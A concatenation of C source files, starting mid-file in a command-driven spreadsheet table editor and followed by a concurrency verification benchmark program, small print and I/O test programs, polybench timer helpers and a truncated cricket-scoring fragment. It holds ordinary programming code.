for (unsigned i=0; i < table->cols; i++) {
cell_ctor(&table->cells[table->rows][i]);
}
table->rows++;
return SUCCESS;
}
// deletes the last row from the table
void deleteRow(Table *table) {
// go through all the cells in the last row
// and destruct them
for (unsigned i=0; i < table->cols; i++) {
cell_dtor(&table->cells[table->rows - 1][i]);
}
table->rows--;
}
// adds a column to the end of the table
State addCol(Table *table) {
for (unsigned i=0; i < table->rows; i++) {
table->cells[i] = realloc(table->cells[i], (table->cols + 1) * sizeof(Cell));
cell_ctor(&table->cells[i][table->cols]);
}
table->cols++;
return SUCCESS;
}
// deletes the last column of the table
void deleteCol(Table *table) {
for (unsigned i=0; i < table->rows; i++) {
cell_dtor(&table->cells[i][table->cols - 1]);
}
table->cols--;
}
// deletes columns of the table from the right, that are empty
State deleteExcessCols(Table *table) {
for (unsigned i=table->cols; i >= 1; i--) {
bool empty = true;
for (unsigned j=1; j <= table->rows; j++) {
if (strcmp(getCellPtr(table, j, i)->str, "") != 0) {
empty = false;
break;
}
}
if (empty)
deleteCol(table);
}
return SUCCESS;
}
// ---------- SELECTION FUNCTIONS -----------
// functions don't have to access the data directly
// program is more extensible this way
unsigned selUpperBound(Table *table) {
if (table->sel.startRow == 0) {
return 1;
}
return table->sel.startRow;
}
unsigned selLowerBound(Table *table) {
if (table->sel.endRow == 0) {
if (table->rows == 0)
return 1;
return table->rows;
}
return table->sel.endRow;
}
unsigned selLeftBound(Table *table) {
if (table->sel.startCol == 0) {
return 1;
}
return table->sel.startCol;
}
unsigned selRightBound(Table *table) {
if (table->sel.endCol == 0) {
if (table->cols == 0)
return 1;
return table->cols;
}
return table->sel.endCol;
}
// select one cell
State selectCell(Table *table, unsigned row, unsigned col) {
table->sel.startRow = row;
table->sel.endRow = row;
table->sel.startCol = col;
table->sel.endCol = col;
assureTableSize(table, row, col);
return SUCCESS;
}
// select multiple cells
State selectRectangle(Table *table,
unsigned startRow, unsigned startCol,
unsigned endRow, unsigned endCol) {
if ((startRow == 0) || (startCol == 0))
return ERR_BAD_SELECTION;
if ((startRow > endRow) && (endCol == 0))
return ERR_BAD_SELECTION;
if ((startRow > endRow) && (endRow == 0))
return ERR_BAD_SELECTION;
table->sel.startRow = startRow;
table->sel.endRow = endRow;
table->sel.startCol = startCol;
table->sel.endCol = endCol;
assureTableSize(table, endRow, endCol);
return SUCCESS;
}
State selectMinMax(Table *table, bool max) {
double extreme = max ? -INFINITY : INFINITY;
unsigned extremeRow = 0;
unsigned extremeCol = 0;
// go through every selected cell
for (unsigned i=selUpperBound(table); i <= selLowerBound(table); i++) {
for (unsigned j=selLeftBound(table); j <= selRightBound(table); j++) {
Cell *cellPtr = getCellPtr(table, i, j);
double value = cellToDouble(cellPtr);
if (isnan(value))
continue;
bool found = max ? (value > extreme) : (value < extreme);
if (found) {
extreme = value;
extremeRow = i;
extremeCol = j;
}
}
}
// if an extreme is found, set the selection on it
if (extremeRow != 0)
selectCell(table, extremeRow, extremeCol);
// otherwise leave the selection as is
return SUCCESS;
}
// ---------- INTERFACE FUNCTIONS -----------
// these functions are interface between raw data and command functions
// all addresses use user addressing for cells
// make sure, that the coordinates up to these can be accessed
State assureTableSize(Table *table, unsigned rows, unsigned cols) {
State s = SUCCESS;
// Add columns to table, until they at least match
while (cols > table->cols) {
s = addCol(table);
if (s != SUCCESS)
return s;
}
// Do the same for rows
while (rows > table->rows) {
s = addRow(table);
if (s != SUCCESS)
return s;
}
return SUCCESS;
}
// swap rows of table, user coordinates
State swapRows(Table *table, unsigned r1, unsigned r2) {
// convert to real addressing
r1--;
r2--;
// swap around the pointers
Cell *tmp;
tmp = table->cells[r2];
table->cells[r2] = table->cells[r1];
table->cells[r1] = tmp;
return SUCCESS;
}
// moves row while shifting the others
State moveRow(Table *table, unsigned start, unsigned end) {
// convert to real addressing
start--;
end--;
unsigned i = start;
int direction;
if (i < end)
direction = 1;
else
direction = -1;
Cell *tmp = table->cells[start];
while (i != end) {
table->cells[i] = table->cells[i + direction];
i += direction;
}
table->cells[end] = tmp;
return SUCCESS;
}
// swap rows of table, user coordinates
State swapCols(Table *table, unsigned c1, unsigned c2) {
// convert to real addressing
c1--;
c2--;
// for each line of the table
for (unsigned i=0; i<table->rows; i++) {
swapCell(&table->cells[i][c1], &table->cells[i][c2]);
}
return SUCCESS;
}
// moves a column while shifting the others
State moveCol(Table *table, unsigned start, unsigned end) {
unsigned i = start;
int direction;
if (i < end)
direction = 1;
else
direction = -1;
while (i != end) {
swapCols(table, i, i + direction);
i += direction;
}
return SUCCESS;
}
State sumCountSelected(Table *table, double *sum, unsigned *count) {
*sum = 0;
*count = 0;
// go through every selected cell
for (unsigned i=selUpperBound(table); i <= selLowerBound(table); i++) {
for (unsigned j=selLeftBound(table); j <= selRightBound(table); j++) {
Cell *cellPtr = getCellPtr(table, i, j);
double value = cellToDouble(cellPtr);
if (isnan(value))
continue;
*sum += value;
(*count)++;
}
}
return SUCCESS;
}
State setSelectedCells(Table *table, char *str) {
// go through every selected cell
for (unsigned i=selUpperBound(table); i <= selLowerBound(table); i++) {
for (unsigned j=selLeftBound(table); j <= selRightBound(table); j++) {
Cell *cellPtr = getCellPtr(table, i, j);
State s = writeCell(cellPtr, str);
if (s != SUCCESS)
return s;
}
}
return SUCCESS;
}
// ---------- COMMAND FUNCTIONS -----------
// the functions, that execute the actual commands
// they all have the same interface (patrameter is Context, return is State)
// all the functions also have _cmd just to signify this
// prints context variables into stderr
State dump_cmd(Context ctx) {
// if argument is not empty
if (ctx.argStr[0] != '\0')
return ERR_BAD_SYNTAX;
fprintf(stderr, "Context dump:\nVariables:\n");
for(int i=0; i<=9; i++)
fprintf(stderr, "\t_%d = '%s'\n", i, ctx.vars->cellVars[i].str);
fprintf(stderr, "\t_ = rows %d to %d, cols %d to %d\n",
ctx.vars->selVar.startRow,
ctx.vars->selVar.endRow,
ctx.vars->selVar.startCol,
ctx.vars->selVar.endRow
);
fprintf(stderr, "Active selection: rows %d to %d, cols %d to %d\n",
ctx.table->sel.startRow,
ctx.table->sel.endRow,
ctx.table->sel.startCol,
ctx.table->sel.endRow
);
fprintf(stderr, "Execution pointer: %d\n", *(ctx.execPtr));
return SUCCESS;
}
// prints the table into stderr
State print_cmd(Context ctx) {
// if argument is not empty
if (ctx.argStr[0] != '\0')
return ERR_BAD_SYNTAX;
printTable(ctx.table, stderr);
return SUCCESS;
}
// selects the lowest nuber from selected cells
State selectMin_cmd(Context ctx) {
return selectMinMax(ctx.table, false);
}
// selects the highest nuber from selected cells
State selectMax_cmd(Context ctx) {
return selectMinMax(ctx.table, true);
}
// Command to select cells from coordinates
State selectCoords_cmd(Context ctx) {
if (ctx.argStr[0] != '[')
return ERR_BAD_SYNTAX;
const unsigned MAX_NUM = 4;
unsigned numValues = 0;
unsigned values[MAX_NUM];
// shift for '[' at the beginning
unsigned strIndex = 1;
while (numValues < MAX_NUM) {
if (ctx.argStr[strIndex] == '_') {
values[numValues] = 0;
strIndex += 1;
} else {
char *endPtr;
values[numValues] = (unsigned)strtol(&ctx.argStr[strIndex], &endPtr, 10);
int shift = endPtr - &ctx.argStr[strIndex];
if (shift == 0)
return ERR_BAD_SYNTAX;
strIndex += shift;
}
numValues++;
if (ctx.argStr[strIndex] == ',') {
strIndex++;
continue;
}
if (ctx.argStr[strIndex] == ']')
break;
return ERR_BAD_SYNTAX;
}
if (numValues == 2)
return selectCell(ctx.table, values[0], values[1]);
if (numValues == 4)
return selectRectangle(ctx.table, values[0], values[1], values[2], values[3]);
return ERR_BAD_SYNTAX;
}
// applies selection variable to the table
State selectStore_cmd(Context ctx) {
ctx.vars->selVar = ctx.table->sel;
return SUCCESS;
}
// applies selection variable to the table
State selectLoad_cmd(Context ctx) {
ctx.table->sel = ctx.vars->selVar;
return SUCCESS;
}
// select the first cell, where str argument matches
State selectFind_cmd(Context ctx) {
// copy original string
char searchStr[strlen(ctx.argStr) + 1];
strcpy(searchStr, ctx.argStr);
// remove the ] at the end
searchStr[strlen(ctx.argStr)-1] = '\0';
// go through every selected cell
for (unsigned i=selUpperBound(ctx.table); i <= selLowerBound(ctx.table); i++) {
for (unsigned j=selLeftBound(ctx.table); j <= selRightBound(ctx.table); j++) {
Cell *cellPtr = getCellPtr(ctx.table, i, j);
if (strcmp(cellPtr->str, searchStr) == 0) {
selectCell(ctx.table, i, j);
return SUCCESS;
}
}
}
return SUCCESS;
}
// Layout commands
// appends a row after the lower bound of the selection
State arow_cmd(Context ctx) {
// if argument is not empty
if (ctx.argStr[0] != '\0')
return ERR_BAD_SYNTAX;
State s;
s = addRow(ctx.table);
if (s == SUCCESS) {
// start on the last line
unsigned start = ctx.table->rows;
// and swap until you get to the lower bound of selection
unsigned end = selLowerBound(ctx.table) + 1;
// move the empty row up to the selection
s = moveRow(ctx.table, start, end);
}
return s;
}
// inserts a row right above the selected region
State irow_cmd(Context ctx) {
if (ctx.argStr[0] != '\0')
return ERR_BAD_SYNTAX;
State s;
s = addRow(ctx.table);
if (s == SUCCESS) {
// start on the last line
unsigned start = ctx.table->rows;
// and swap until you get to the top of selection
unsigned end = selUpperBound(ctx.table);
// move the empty row up to the selection
s = moveRow(ctx.table, start, end);
}
return s;
}
// deletes selected rows
State drow_cmd(Context ctx) {
if (ctx.argStr[0] != '\0')
return ERR_BAD_SYNTAX;
State s;
// how many lines we need to delete
unsigned toDelete = selLowerBound(ctx.table) - selUpperBound(ctx.table) + 1;
for (unsigned i=0; i<toDelete; i++) {
// move the line to the last place in table
unsigned start = selUpperBound(ctx.table);
unsigned end = ctx.table->rows;
s = moveRow(ctx.table, start, end);
if (s != SUCCESS)
break;
// then delete it
deleteRow(ctx.table);
}
return s;
}
// appends an empty column after selected cells
State acol_cmd(Context ctx) {
if (ctx.argStr[0] != '\0')
return ERR_BAD_SYNTAX;
State s;
s = addCol(ctx.table);
if (s == SUCCESS) {
unsigned start = ctx.table->cols;
unsigned end = selRightBound(ctx.table) + 1;
s = moveCol(ctx.table, start, end);
}
return s;
}
// inserts an empty column left from the selected cells
State icol_cmd(Context ctx) {
if (ctx.argStr[0] != '\0')
return ERR_BAD_SYNTAX;
State s;
s = addCol(ctx.table);
if (s == SUCCESS) {
unsigned start = ctx.table->cols;
unsigned end = selLeftBound(ctx.table);
s = moveCol(ctx.table, start, end);
}
return s;
}
// deletes selected columns
State dcol_cmd(Context ctx) {
if (ctx.argStr[0] != '\0')
return ERR_BAD_SYNTAX;
State s;
// how many lines we need to delete
unsigned toDelete = selRightBound(ctx.table) - selLeftBound(ctx.table) + 1;
for (unsigned i=0; i<toDelete; i++) {
// move the line to the last place in table
unsigned start = selLeftBound(ctx.table);
unsigned end = ctx.table->cols;
s = moveCol(ctx.table, start, end);
if (s != SUCCESS)
break;
// then delete it
deleteCol(ctx.table);
}
return s;
}
State set_cmd(Context ctx) {
return setSelectedCells(ctx.table, ctx.argStr);
}
State clear_cmd(Context ctx) {
if (ctx.argStr[0] != '\0')
return ERR_BAD_SYNTAX;
// go through every selected cell
for (unsigned i=selUpperBound(ctx.table); i <= selLowerBound(ctx.table); i++) {
for (unsigned j=selLeftBound(ctx.table); j <= selRightBound(ctx.table); j++) {
Cell *cellPtr = getCellPtr(ctx.table, i, j);
State s = writeCell(cellPtr, "");
if (s != SUCCESS)
return s;
}
}
return SUCCESS;
}
// Data commands
// swaps selected cell with the cell specified by argument
State swap_cmd(Context ctx) {
unsigned row, col;
State s = parseCoords(ctx.argStr, &row, &col);
if (s != SUCCESS)
return s;
Cell *c1 = getCellPtr(ctx.table, row, col);
Cell *c2 = selectedCell(ctx.table);
if (c1 == NULL)
return ERR_BAD_SYNTAX;
if (c2 == NULL)
return ERR_BAD_SELECTION;
swapCell(c1, c2);
return SUCCESS;
}
State sum_cmd(Context ctx) {
unsigned row, col;
State s = parseCoords(ctx.argStr, &row, &col);
if (s != SUCCESS)
return s;
double sum;
unsigned count;
sumCountSelected(ctx.table, &sum, &count);
char buffer[MAX_CELL_LENGTH];
sprintf(buffer, "%g", sum);
Cell *resultCell = getCellPtr(ctx.table, row, col);
writeCell(resultCell, buffer);
return SUCCESS;
}
State avg_cmd(Context ctx) {
unsigned row, col;
State s = parseCoords(ctx.argStr, &row, &col);
if (s != SUCCESS)
return s;
double sum;
unsigned count;
sumCountSelected(ctx.table, &sum, &count);
char buffer[MAX_CELL_LENGTH];
sprintf(buffer, "%g", sum / count);
Cell *resultCell = getCellPtr(ctx.table, row, col);
writeCell(resultCell, buffer);
return SUCCESS;
}
State count_cmd(Context ctx) {
unsigned row, col;
State s = parseCoords(ctx.argStr, &row, &col);
if (s != SUCCESS)
return s;
unsigned count=0;
// go through every selected cell
for (unsigned i=selUpperBound(ctx.table); i <= selLowerBound(ctx.table); i++) {
for (unsigned j=selLeftBound(ctx.table); j <= selRightBound(ctx.table); j++) {
Cell *cellPtr = getCellPtr(ctx.table, i, j);
if (strcmp(cellPtr->str, ""))
count++;
}
}
char buffer[MAX_CELL_LENGTH];
sprintf(buffer, "%d", count);
Cell *resultCell = getCellPtr(ctx.table, row, col);
writeCell(resultCell, buffer);
return SUCCESS;
}
State len_cmd(Context ctx) {
unsigned row, col;
State s = parseCoords(ctx.argStr, &row, &col);
if (s != SUCCESS)
return s;
Cell *measuredCell = selectedCell(ctx.table);
size_t len = strlen(measuredCell->str);
char buffer[MAX_CELL_LENGTH];
sprintf(buffer, "%lu", len);
Cell *resultCell = getCellPtr(ctx.table, row, col);
writeCell(resultCell, buffer);
return SUCCESS;
}
// Variable commands
State def_cmd(Context ctx) {
int n = ctx.argStr[0] - '0';
if ((ctx.argStr[1] != '\0') || (n < 0) || (n > 9))
return ERR_BAD_SYNTAX;
Cell *src = selectedCell(ctx.table);
if (src == NULL)
return ERR_BAD_SELECTION;
deepCopyCell(&ctx.vars->cellVars[n], src);
return SUCCESS;
}
State use_cmd(Context ctx) {
int n = ctx.argStr[0] - '0';
if ((ctx.argStr[1] != '\0') || (n < 0) || (n > 9))
return ERR_BAD_SYNTAX;
return setSelectedCells(ctx.table, ctx.vars->cellVars[n].str);
}
State inc_cmd(Context ctx) {
int n = ctx.argStr[0] - '0';
if ((ctx.argStr[1] != '\0') || (n < 0) || (n > 9))
return ERR_BAD_SYNTAX;
// variable to increment
Cell *cellPtr = &ctx.vars->cellVars[n];
double value = cellToDouble(cellPtr);
if (isnan(value)) {
writeCell(cellPtr, "1");
return SUCCESS;
}
char buffer[MAX_CELL_LENGTH];
sprintf(buffer, "%g", value + 1);
writeCell(cellPtr, buffer);
return SUCCESS;
}
// Control commands
State goto_cmd(Context ctx) {
char *endPtr;
int steps = strtol(ctx.argStr, &endPtr, 10);
if (*endPtr != '\0')
return ERR_BAD_SYNTAX;
// goto +1 should have no effect
*ctx.execPtr += steps - 1;
return SUCCESS;
}
State iszero_cmd(Context ctx) {
int n = ctx.argStr[0] - '0';
if ((ctx.argStr[1] != ' ') || (n < 0) || (n > 9))
return ERR_BAD_SYNTAX;
// points at varible that needs to be checked
Cell *cellPtr = &ctx.vars->cellVars[n];
char *endPtr;
long steps = strtol(&ctx.argStr[2], &endPtr, 10);
if (*endPtr != '\0')
return ERR_BAD_SYNTAX;
if (strcmp(cellPtr->str, "0") == 0)
*ctx.execPtr += steps - 1;
return SUCCESS;
}
State sub_cmd(Context ctx) {
int m = ctx.argStr[0] - '0';
int n = ctx.argStr[3] - '0';
// not robust at all but whatever
if ((m < 0) || (m > 9) || (n < 0) || (n > 9))
return ERR_BAD_SYNTAX;
Cell *cellPtr = &ctx.vars->cellVars[n];
char *endPtr;
double toSubtract = strtod(cellPtr->str, &endPtr);
if ((*endPtr != '\0') && (endPtr != cellPtr->str))
return ERR_GENERIC;
cellPtr = &ctx.vars->cellVars[m];
double value = strtod(cellPtr->str, &endPtr);
if ((*endPtr != '\0') && (endPtr != cellPtr->str))
return ERR_GENERIC;
value -= toSubtract;
char buffer[MAX_CELL_LENGTH];
sprintf(buffer, "%g", value);
writeCell(cellPtr, buffer);
return SUCCESS;
}
// ---------- MORE COMPLEX FUNCTIONS -----------
// Reads table from stdin and saves it into the table structure
// The function also reads delimiters from arguments
// Returns program state
// Expects an empty table
State readTable(Table *table, FILE *f, char *delimiters) {
// set the table's main delimiter
table->delim = delimiters[0];
char *fileBuffer = fileToBuffer(f);
if (fileBuffer == NULL)
return ERR_MEMORY;
State s = SUCCESS;
// current row and column
unsigned row=0, col=0;
size_t i = 0;
while (true) {
char cellBuffer[MAX_CELL_LENGTH];
size_t shift = parseString(cellBuffer, &fileBuffer[i], delimiters);
// +1 to skip the delimiter
i += shift + 1;
// if there is nothing left
if (fileBuffer[i-1] == '\0')
break;
// write to table
s = assureTableSize(table, row+1, col+1);
if (s != SUCCESS)
return s;
s = writeCell(&table->cells[row][col], cellBuffer);
if (s != SUCCESS)
return s;
if (fileBuffer[i-1] == '\n') {
row++;
col = 0;
continue;
}
if (strchr(delimiters, fileBuffer[i-1])) {
col++;
continue;
}
// if nothing matches, the scanned STR was bad
return ERR_BAD_INPUT;
}
free(fileBuffer);
return SUCCESS;
}
// prints the table into a file
void printTable(Table *table, FILE *f) {
for (unsigned i=0; i < table->rows; i++) {
for (unsigned j=0; j < table->cols; j++) {
printCell(table, &table->cells[i][j], f);
if (j < table->cols - 1)
fputc(table->delim, f);
else
fputc('\n', f);
}
}
}
// takes commands as a string
// and writes them into the program structure
State parseCommands(Program *prog, char *cmdStr) {
// command delimiters
char *delims = ";";
// all commands except selection because of their weird syntax
const Command knownCommands[] = {
// Custom commands (not in official specification)
{.name="print", .fn=print_cmd},
{.name="dump", .fn=dump_cmd},
// Selection
{.name="[min]", .fn=selectMin_cmd},
{.name="[max]", .fn=selectMax_cmd},
{.name="[find ", .fn=selectFind_cmd},
{.name="[_]", .fn=selectLoad_cmd},
// Layout commands
{.name="irow", .fn=irow_cmd},
{.name="arow", .fn=arow_cmd},
{.name="drow", .fn=drow_cmd},
{.name="icol", .fn=icol_cmd},
{.name="acol", .fn=acol_cmd},
{.name="dcol", .fn=dcol_cmd},
// Data commands
{.name="set ", .fn=set_cmd},
{.name="clear", .fn=clear_cmd},
{.name="swap ", .fn=swap_cmd},
{.name="sum ", .fn=sum_cmd},
{.name="avg ", .fn=avg_cmd},
{.name="count ", .fn=count_cmd},
{.name="len ", .fn=len_cmd},
// Variable commands
{.name="def _", .fn=def_cmd},
{.name="use _", .fn=use_cmd},
{.name="inc _", .fn=inc_cmd},
{.name="[set]", .fn=selectStore_cmd},
// Control commands
{.name="goto ", .fn=goto_cmd},
{.name="iszero _", .fn=iszero_cmd},
{.name="sub _", .fn=sub_cmd},
};
const int NUM_KNOWN_CMDS = sizeof(knownCommands) / sizeof(Command);
// the imaginary reading head of cmdStr
int strIndex=0;
while (true) {
bool found = false;
// check for command
for (int j=0; j < NUM_KNOWN_CMDS; j++) {
// if the command is found at the beginning of current index
if (strbgn(&cmdStr[strIndex], knownCommands[j].name) == 0) {
strIndex += strlen(knownCommands[j].name);
addCommand(prog, &knownCommands[j]);
found = true;
break;
}
}
// check for the weird coordinate selection command
if (!found && (cmdStr[strIndex] == '[')) {
const Command select = {.fn=selectCoords_cmd};
addCommand(prog, &select);
found = true;
// strIndex doesn't shift
// because the command is its own argument if it makes any sense
}
if (!found)
return ERR_COMMAND_NOT_FOUND;
// buffer for command's arguments
char argBuf[MAX_COMMAND_LENGTH];
// this might cause some issues later, now commands can be in
// quotation marks and escaping is allowed
size_t shift = parseString(argBuf, &cmdStr[strIndex], delims);
// to make the next line cleaner
Command *lastCmdPtr = &prog->cmds[prog->len - 1];
lastCmdPtr->argStr = malloc((strlen(argBuf) + 1) * sizeof(char));
if (lastCmdPtr->argStr == NULL)
return ERR_MEMORY;
strcpy(lastCmdPtr->argStr, argBuf);
// +1 to skip the delimiter
strIndex += shift + 1;
// if there is delimiter, there maust be another command
if (cmdStr[strIndex-1] == ';')
continue;
// if there is nothing left
if (cmdStr[strIndex-1] == '\0')
break;
}
return SUCCESS;
}
// takes in program structure and executes commands in it
State executeProgram(Program *prog, Table *table) {
State s;
State (*function)(Context);
Variables variables;
variables_ctor(&variables);
// set context, that doesn't change with each command
unsigned i;
Context context = {.table=table, .vars=&variables, .execPtr=&i};
unsigned realCounter = 0;
for (i=0; i < prog->len; i++) {
// set the correct function
function = prog->cmds[i].fn;
// set up the context before executing
context.argStr = prog->cmds[i].argStr;
s = function(context);
if (s != SUCCESS)
break;
if (realCounter++ >= INF_CYCLE_LIMIT) {
s = ERR_INF_CYCLE;
break;
}
}
variables_dtor(&variables);
return s;
}
// reads delimiters from arguments
State parseArguments(int argc, char **argv, Arguments *args) {
// initialize in case anything fails
args->delimiters = NULL;
args->filename = NULL;
args->commandString = NULL;
if (argc < 2)
return ERR_BAD_SYNTAX;
int i = 1;
// reading delimiters
if (strcmp("-d", argv[i]) == 0) {
if (++i >= argc)
return ERR_BAD_SYNTAX;
args->delimiters = malloc(strlen(argv[i]) + 1);
if (args->delimiters == NULL)
return ERR_MEMORY;
strcpy(args->delimiters, argv[i]);
if (++i >= argc)
return ERR_BAD_SYNTAX;
} else {
args->delimiters = malloc(2 * sizeof(char));
if (args->delimiters == NULL)
return ERR_MEMORY;
strcpy(args->delimiters, " ");
}
// reading commands from file
if (strcmp("-c", argv[i]) == 0) {
if (++i >= argc)
return ERR_BAD_SYNTAX;
// file with commands
FILE *fp = fopen(argv[i], "r");
if (!fp)
return ERR_FILE_ACCESS;
args->commandString = fileToBuffer(fp);
if (args->commandString == NULL)
return ERR_MEMORY;
if (++i >= argc)
return ERR_BAD_SYNTAX;
} else {
// reading commands from the argument
args->commandString = malloc(strlen(argv[i]) + 1);
if (args->commandString == NULL)
return ERR_MEMORY;
strcpy(args->commandString, argv[i]);
if (++i >= argc)
return ERR_BAD_SYNTAX;
}
args->filename = malloc(strlen(argv[i]) + 1);
if (args->filename == NULL)
return ERR_MEMORY;
strcpy(args->filename, argv[i]);
// if there are any arguments left at this point,
// the syntax must be wrong
if (i < argc-1)
return ERR_BAD_SYNTAX;
return SUCCESS;
}
// prints basic help on how to use the program
void printUsage() {
const char *usageString = "\nUsage:\n"
"./sps [-d DELIM] [Commands for editing the table]\n";
fprintf(stderr, "%s", usageString);
}
// prints error message according to the error state
void printErrorMessage(State err_state) {
char *errMsgs[] = {
[SUCCESS] = "",
[ERR_GENERIC] = "Generic error",
[ERR_BAD_SELECTION] = "A command can't be executed for this selection",
[ERR_BAD_SYNTAX] = "Bad syntax",
[ERR_COMMAND_NOT_FOUND] = "Command not found",
[ERR_BAD_INPUT] = "Input table's format is incompatible",
[ERR_FILE_ACCESS] = "Could not access the file",
[ERR_MEMORY] = "Memory allocation failed",
[ERR_INF_CYCLE] = "The program has run into an infinite loop",
};
const unsigned NUM_KNOWN_ERRORS = sizeof(errMsgs) / sizeof(char *);
if (err_state < NUM_KNOWN_ERRORS) {
fputs(errMsgs[err_state], stderr);
fputs("\n", stderr);
return;
}
fputs("Unknown error\n", stderr);
}
int main(int argc, char **argv) {
// the only instance of the table
Table table;
table_ctor(&table);
// error codes are stored in this variable
State s = SUCCESS;
FILE *fp = NULL;
// all arguments are parsed into this structure
Arguments arguments;
// all the commands in dynamic array of Command objects
// this can be directly executed
Program program;
program_ctor(&program);
// firstly load all the arguments from argv
s = parseArguments(argc, argv, &arguments);
// parse the commands, so the memory can be freed
if (s == SUCCESS)
s = parseCommands(&program, arguments.commandString);
free(arguments.commandString);
// open file for reading
if (s == SUCCESS) {
fp = fopen(arguments.filename, "r");
if (!fp)
s = ERR_FILE_ACCESS;
}
// reading the table
if (s == SUCCESS)
s = readTable(&table, fp, arguments.delimiters);
// free the memory as soon as we don't need it
free(arguments.delimiters);
// close the file for reading
if (fp) {
fclose(fp);
fp = NULL;
}
// execute commands on the table
if (s == SUCCESS)
s = executeProgram(&program, &table);
// open the same file for writing
if (s == SUCCESS) {
fp = fopen(arguments.filename, "w");
if (!fp)
s = ERR_FILE_ACCESS;
}
free(arguments.filename);
// remove empty column on the right
if (s == SUCCESS)
s = deleteExcessCols(&table);
// print the table into the file
if (s == SUCCESS)
printTable(&table, fp);
// close the file
if (fp) {
fclose(fp);
fp = NULL;
}
// deallocate all the variables
program_dtor(&program);
table_dtor(&table);
printErrorMessage(s);
return s;
}
|
the_stack_data/161081072.c | extern void __VERIFIER_error() __attribute__ ((__noreturn__));
void __VERIFIER_assert(int expression) { if (!expression) { ERROR: /* assert not proved */
__VERIFIER_error(); }; return; }
int __global_lock;
void __VERIFIER_atomic_begin() { /* reachable */
/* reachable */
/* reachable */
/* reachable */
__VERIFIER_assume(__global_lock==0); __global_lock=1; return; }
void __VERIFIER_atomic_end() { __VERIFIER_assume(__global_lock==1); __global_lock=0; return; }
#include "assert.h"
#include "pthread.h"
#ifndef TRUE
#define TRUE (_Bool)1
#endif
#ifndef FALSE
#define FALSE (_Bool)0
#endif
#ifndef NULL
#define NULL ((void*)0)
#endif
#ifndef FENCE
#define FENCE(x) ((void)0)
#endif
#ifndef IEEE_FLOAT_EQUAL
#define IEEE_FLOAT_EQUAL(x,y) (x==y)
#endif
#ifndef IEEE_FLOAT_NOTEQUAL
#define IEEE_FLOAT_NOTEQUAL(x,y) (x!=y)
#endif
void * P0(void *arg);
void * P1(void *arg);
void * P2(void *arg);
void fence();
void isync();
void lwfence();
int __unbuffered_cnt;
int __unbuffered_cnt = 0;
int __unbuffered_p0_EAX;
int __unbuffered_p0_EAX = 0;
int __unbuffered_p1_EAX;
int __unbuffered_p1_EAX = 0;
_Bool main$tmp_guard0;
_Bool main$tmp_guard1;
int x;
int x = 0;
int y;
int y = 0;
void * P0(void *arg)
{
__VERIFIER_atomic_begin();
y = 2;
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
__unbuffered_p0_EAX = x;
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
__unbuffered_cnt = __unbuffered_cnt + 1;
__VERIFIER_atomic_end();
return nondet_0();
}
void * P1(void *arg)
{
__VERIFIER_atomic_begin();
x = 1;
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
__unbuffered_p1_EAX = x;
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
__unbuffered_cnt = __unbuffered_cnt + 1;
__VERIFIER_atomic_end();
return nondet_0();
}
void * P2(void *arg)
{
__VERIFIER_atomic_begin();
x = 2;
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
y = 1;
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
__unbuffered_cnt = __unbuffered_cnt + 1;
__VERIFIER_atomic_end();
return nondet_0();
}
void fence()
{
}
void isync()
{
}
void lwfence()
{
}
int main()
{
pthread_create(NULL, NULL, P0, NULL);
pthread_create(NULL, NULL, P1, NULL);
pthread_create(NULL, NULL, P2, NULL);
__VERIFIER_atomic_begin();
main$tmp_guard0 = __unbuffered_cnt == 3;
__VERIFIER_atomic_end();
__VERIFIER_assume(main$tmp_guard0);
__VERIFIER_atomic_begin();
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
/* Program was expected to be safe for X86, model checker should have said NO.
This likely is a bug in the tool chain. */
main$tmp_guard1 = !(x == 2 && y == 2 && __unbuffered_p0_EAX == 0 && __unbuffered_p1_EAX == 1);
__VERIFIER_atomic_end();
/* Program was expected to be safe for X86, model checker should have said NO.
This likely is a bug in the tool chain. */
__VERIFIER_assert(main$tmp_guard1);
/* reachable */
return 0;
}
|
the_stack_data/1125050.c | #include <stdio.h>
int main(){
int toes=10;
printf("%d\n", toes);
printf("%d\n", toes*2);
printf("%d\n", toes*toes);
return 0;
}
|
the_stack_data/94430.c | /*
* All copyright (c), Nil
* Reserved
*
* Filename: io_efficiency_test_3_5.c
* File Id: Test
* Abstract: test the effectives of buffer lenght to read/write
*
* Current version: 1.0
* Author: Nil
* Date: Thu Feb 23 11:47:48 CST 2017
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
//#include <apue.h>
#define LENGTH 4096
int main()
{
int ret;
char buffer[LENGTH];
size_t size;
while ((size = read(STDIN_FILENO, buffer, LENGTH)) > 0) {
if (size != write(STDOUT_FILENO, buffer, size)) {
printf("write error: %d\n", errno);
exit(1);
}
}
exit(0);
}
|
the_stack_data/150140958.c | #include <stdio.h>
#include <unistd.h>
#include <sys/time.h>
#include <unistd.h>
#include <sys/time.h>
#include <math.h>
/* Timer code (gettimeofday). */
double polybench_t_start, polybench_t_end;
static
inline
double rtclock()
{
struct timezone Tzp;
struct timeval Tp;
int stat;
stat = gettimeofday (&Tp, &Tzp);
if (stat != 0)
printf("Error return from gettimeofday: %d", stat);
return (Tp.tv_sec + Tp.tv_usec * 1.0e-6);
}
inline
void polybench_timer_start()
{
polybench_t_start = rtclock();
}
inline
void polybench_timer_stop()
{
polybench_t_end = rtclock();
}
inline
void polybench_timer_print()
{
printf("%0.6lfs\n", polybench_t_end - polybench_t_start);
}
|
the_stack_data/87636817.c | #include<stdio.h>
int run[15]={0,1,2,3,4,6,1,2,3,5,1,2,5,7,0};
int ball[15]={1,1,1,1,1,1,0,0,0,0,0,0,0,0,1};
long count,n;
long a[10000][7]={0};
void fun(long rnew,int bnew)
{
long nb,nr,i,bn,rn,c;
c=0;
for(i=0;i<15;i++)
{
bn=bnew-ball[i];
rn=rnew-run[i];
if(bn>=0)
{
if(i==14) c++;
if(rn<=0)
{
c++;
}
else
{
if(bn>0)
c=c+a[rn][bn];
else
c++;
}
}
}
